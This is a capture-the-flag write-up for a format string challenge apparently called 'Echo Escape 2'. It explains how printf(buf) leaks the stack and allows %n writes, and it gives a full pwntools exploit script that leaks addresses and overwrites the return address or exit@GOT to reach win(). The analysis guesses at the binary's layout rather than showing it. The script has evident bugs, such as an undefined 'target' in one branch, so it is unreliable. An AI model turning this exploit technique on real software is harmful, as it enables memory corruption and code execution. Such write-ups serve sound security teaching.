│ Category: Binary Exploitation
│ Difficulty: Easy
│ Points: 100
│ Author: Imattas aka Zemi
────────────────────────────────────────────────────────────────────────────────
--[ Challenge Description ]--
│ The developer has learned their lesson from unsafe input functions and tried
to secure the program by using fgets(). Unfortunately, they missed a critical
vulnerability -- a format string bug.
────────────────────────────────────────────────────────────────────────────────
--[ Recon / Initial Analysis ]--
This challenge is a classic format string vulnerability. The developer replaced
dangerous input functions like gets() or scanf("%s") with the safer fgets(),
which prevents buffer overflow by limiting input length. However, they made the
mistake of passing user input directly to printf() without a format specifier.
This is the sequel to "Echo Escape" (likely a basic buffer overflow), where the
developer tried to fix the input handling but introduced a new vulnerability
class entirely.
Given the point value (100 pts) and solve count (1368 solves), this is likely a
straightforward format string exploit. The binary likely has:
- A win() or print_flag() function that reads and displays the flag
- The goal is to overwrite the return address of the vulnerable function to jump
to win()
- PIE may or may not be enabled; if enabled, we leak the base address first
────────────────────────────────────────────────────────────────────────────────
--[ Vulnerability / Observation ]--
-- c --
// Vulnerable pattern:
fgets(buf, sizeof(buf), stdin);
printf(buf); // FORMAT STRING BUG -- should be printf("%s", buf);
A format string vulnerability allows an attacker to:
1. Read from the stack using %p, %x, or %s format specifiers
2. Write to arbitrary memory using the %n format specifier
3. Leak memory addresses to defeat ASLR/PIE
:: Finding the Format String Offset
Send a pattern like AAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p and look for 0x41414141
(or 0x4141414141414141 on 64-bit) in the output. The position where it appears
is the offset.
For example, if 0x4141414141414141 appears at position 6, then %6$p directly
accesses our input on the stack.
────────────────────────────────────────────────────────────────────────────────
--[ Exploitation / Solution ]--
:: Exploitation Strategy
1. Leak addresses: Use %p specifiers to dump stack values and find useful
addresses (return address, libc addresses, binary base if PIE is enabled).
2. Find the offset: Determine at which position on the stack our input buffer
appears (the format string offset).
3. Overwrite the return address (or GOT entry) to redirect execution to a
win/print_flag function, or to a system("/bin/sh") call.
:: Step 1: Find the format string offset
$ echo 'AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p' | ./echo_escape_2
Look for 0x4141414141414141 in the output. Count which position it is.
:: Step 2: Leak addresses (if PIE is enabled)
$ echo '%21$p' | ./echo_escape_2
Leak the return address or a known function pointer. Calculate the binary base
and the address of win().
:: Step 3: Overwrite return address
Use pwntools' fmtstr_payload() to craft a write-what-where payload:
- What: Address of win() / print_flag()
- Where: Return address location on the stack, or a GOT entry (e.g., exit@GOT if
exit() is called after the vulnerable printf)
:: Step 4: Trigger the overwritten pointer
When the function returns (or exit() is called), execution redirects to win()
and the flag is printed.
────────────────────────────────────────────────────────────────────────────────
--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
Echo Escape 2 - picoCTF 2026
Category: Binary Exploitation | Points: 100
Format string vulnerability exploit.
The binary uses fgets() for safe input but passes the buffer directly
to printf() without a format specifier, enabling format string attacks.
Usage:
python3 solve.py # Run against local binary
python3 solve.py REMOTE_HOST PORT # Run against remote server
Before running:
1. Download the binary from the challenge page
2. Run the offset finder first: python3 solve.py --find-offset
3. Update the constants below if needed
4. chmod +x echo_escape_2
"""
import sys
import re
from pwn import *
# ============================================================
# CONFIGURATION - UPDATE BASED ON BINARY ANALYSIS
# ============================================================
BINARY = "./echo_escape_2"
context.arch = "amd64" # Change to "i386" if 32-bit
# Format string offset (position where our input appears on the stack)
# Find this by sending AAAAAAAA%p.%p.%p... and looking for 0x4141414141414141
FMT_OFFSET = 6 # UPDATE THIS after running --find-offset
# Offset from leaked address to win/print_flag function
# Determine via: objdump -t echo_escape_2 | grep -E "win|flag|main"
WIN_OFFSET_FROM_MAIN = None # Set if PIE enabled (e.g., -0x1aa)
# ============================================================
# HELPERS
# ============================================================
def get_connection():
"""Connect to remote or run locally."""
if len(sys.argv) >= 3 and sys.argv[1] != "--find-offset":
host = sys.argv[1]
port = int(sys.argv[2])
log.info(f"Connecting to {host}:{port}")
return remote(host, port)
else:
log.info(f"Running local binary: {BINARY}")
return process(BINARY)
def find_offset():
"""
Send a pattern to find the format string offset.
Look for 0x4141414141414141 (64-bit) or 0x41414141 (32-bit).
"""
p = get_connection()
# Send marker followed by %p format specifiers
payload = b"AAAAAAAA" + b".%p" * 30
log.info(f"Sending: {payload}")
p.recvuntil(b"\n", timeout=2) # Skip any banner/prompt
p.sendline(payload)
response = p.recvall(timeout=3).decode(errors="ignore")
print("\nResponse:")
print(response)
# Parse and find the offset
parts = response.split(".")
for i, part in enumerate(parts):
if "0x4141414141414141" in part or "0x41414141" in part:
# Offset is i (but first element is 'AAAAAAAA', so offset = i)
print(f"\n>>> FORMAT STRING OFFSET FOUND: {i}")
print(f">>> Use: FMT_OFFSET = {i}")
p.close()
return i
print("\nOffset not found automatically. Check the output above manually.")
print("Look for 0x4141414141414141 (64-bit) or 0x41414141 (32-bit).")
p.close()
return None
# ============================================================
# EXPLOIT STRATEGIES
# ============================================================
def exploit_with_win_function():
"""
Strategy 1: Overwrite return address to call win/print_flag.
Works when: Binary has a win() function, PIE may be enabled.
"""
elf = ELF(BINARY)
p = get_connection()
# Check if PIE is enabled
if elf.pie:
log.info("PIE is enabled -- leaking addresses first")
# Phase 1: Leak addresses
# Leak return address and a known function address from the stack
# Common positions: %19$p (saved RIP), %21$p (known function ptr)
# These offsets vary per binary -- adjust as needed
leak_payload = b"%19$p::%21$p"
p.sendline(leak_payload)
response = p.recvline(timeout=3).decode(errors="ignore")
log.info(f"Leak response: {response}")
addresses = response.strip().split("::")
if len(addresses) >= 2:
ret_addr_value = int(addresses[0], 16)
main_addr = int(addresses[1], 16)
# Calculate return address location and win function address
# The return address on the stack is 8 bytes before the leaked value
ret_addr_location = ret_addr_value - 8
# Adjust based on your binary's symbol offsets
win_addr = main_addr + WIN_OFFSET_FROM_MAIN if WIN_OFFSET_FROM_MAIN else elf.symbols.get('win', 0)
log.info(f"Return address location: {hex(ret_addr_location)}")
log.info(f"Win function address: {hex(win_addr)}")
# Phase 2: Overwrite return address with win address
# Write in 2-byte chunks to keep payload short
for offset_add, shift in [(0, 0), (2, 16), (4, 32)]:
chunk = (win_addr >> shift) & 0xFFFF
payload = fmtstr_payload(FMT_OFFSET,
{ret_addr_location + offset_add: chunk},
write_size='short')
p.sendline(payload)
else:
log.error("Failed to leak addresses. Check leak offsets.")
else:
log.info("No PIE -- using direct addresses")
# Find win function address
win_addr = None
for name in ['win', 'print_flag', 'get_flag', 'flag']:
if name in elf.symbols:
win_addr = elf.symbols[name]
log.info(f"Found {name}() at {hex(win_addr)}")
break
if win_addr is None:
log.error("No win function found. Check binary symbols.")
p.close()
return
# Option A: Overwrite GOT entry (e.g., exit -> win)
if 'exit' in elf.got:
target = elf.got['exit']
log.info(f"Overwriting exit@GOT ({hex(target)}) -> win ({hex(win_addr)})")
payload = fmtstr_payload(FMT_OFFSET, {target: win_addr})
p.sendline(payload)
# Option B: Overwrite return address
else:
log.info("No exit@GOT found, trying return address overwrite")
# For non-PIE, we still need to find the stack address of the
# return pointer. Leak it first:
p.sendline(b"%p." * 40)
response = p.recvline(timeout=3).decode(errors="ignore")
log.info(f"Stack leak: {response[:200]}")
# Manual analysis needed here
payload = fmtstr_payload(FMT_OFFSET, {target: win_addr})
p.sendline(payload)
# Collect output
try:
output = p.recvall(timeout=5).decode(errors="ignore")
except Exception:
output = p.recv(timeout=3).decode(errors="ignore")
print("\n" + "=" * 50)
print("Output:")
print(output)
print("=" * 50)
flag_match = re.search(r'picoCTF\{[^}]+\}', output)
if flag_match:
print(f"\nFLAG: {flag_match.group(0)}")
else:
print("\nFlag not found. Try interactive mode or adjust offsets.")
p.interactive()
p.close()
def exploit_simple_leak():
"""
Strategy 2: The flag might be on the stack already.
Works when: The binary reads the flag into a stack buffer before printf.
"""
p = get_connection()
log.info("Trying to leak flag directly from the stack...")
# Try leaking many stack positions as strings and pointers
for i in range(1, 50):
try:
p2 = get_connection()
p2.sendline(f"%{i}$s".encode())
response = p2.recvall(timeout=2).decode(errors="ignore")
if "picoCTF" in response:
flag_match = re.search(r'picoCTF\{[^}]+\}', response)
if flag_match:
print(f"\nFLAG found at offset {i}: {flag_match.group(0)}")
p2.close()
p.close()
return
p2.close()
except Exception:
pass
log.info("Flag not directly on stack. Use exploit_with_win_function() instead.")
p.close()
# ============================================================
# MAIN
# ============================================================
if __name__ == "__main__":
if "--find-offset" in sys.argv:
find_offset()
elif "--leak" in sys.argv:
exploit_simple_leak()
else:
# Default: try the win function overwrite approach
exploit_with_win_function()
────────────────────────────────────────────────────────────────────────────────
--[ Key Takeaways ]--
- Switching gets() for fgets() only fixes buffer overflows — passing the buffer
straight to printf(buf) still leaves a format string bug.
- Find the format string offset empirically: send AAAAAAAA + %p repeated, then
count to the position where 0x4141414141414141 appears.
- Two complementary write targets exist: the saved return address on the stack,
or a GOT entry (e.g., exit@GOT) when RELRO is partial/absent.
- For non-PIE binaries, win() and GOT addresses are static; for PIE, leak a code
pointer first and compute offsets.
- Sometimes the simplest win is %n$s scanning — the flag may already sit on the
stack, dumpable as a string without any overwrite.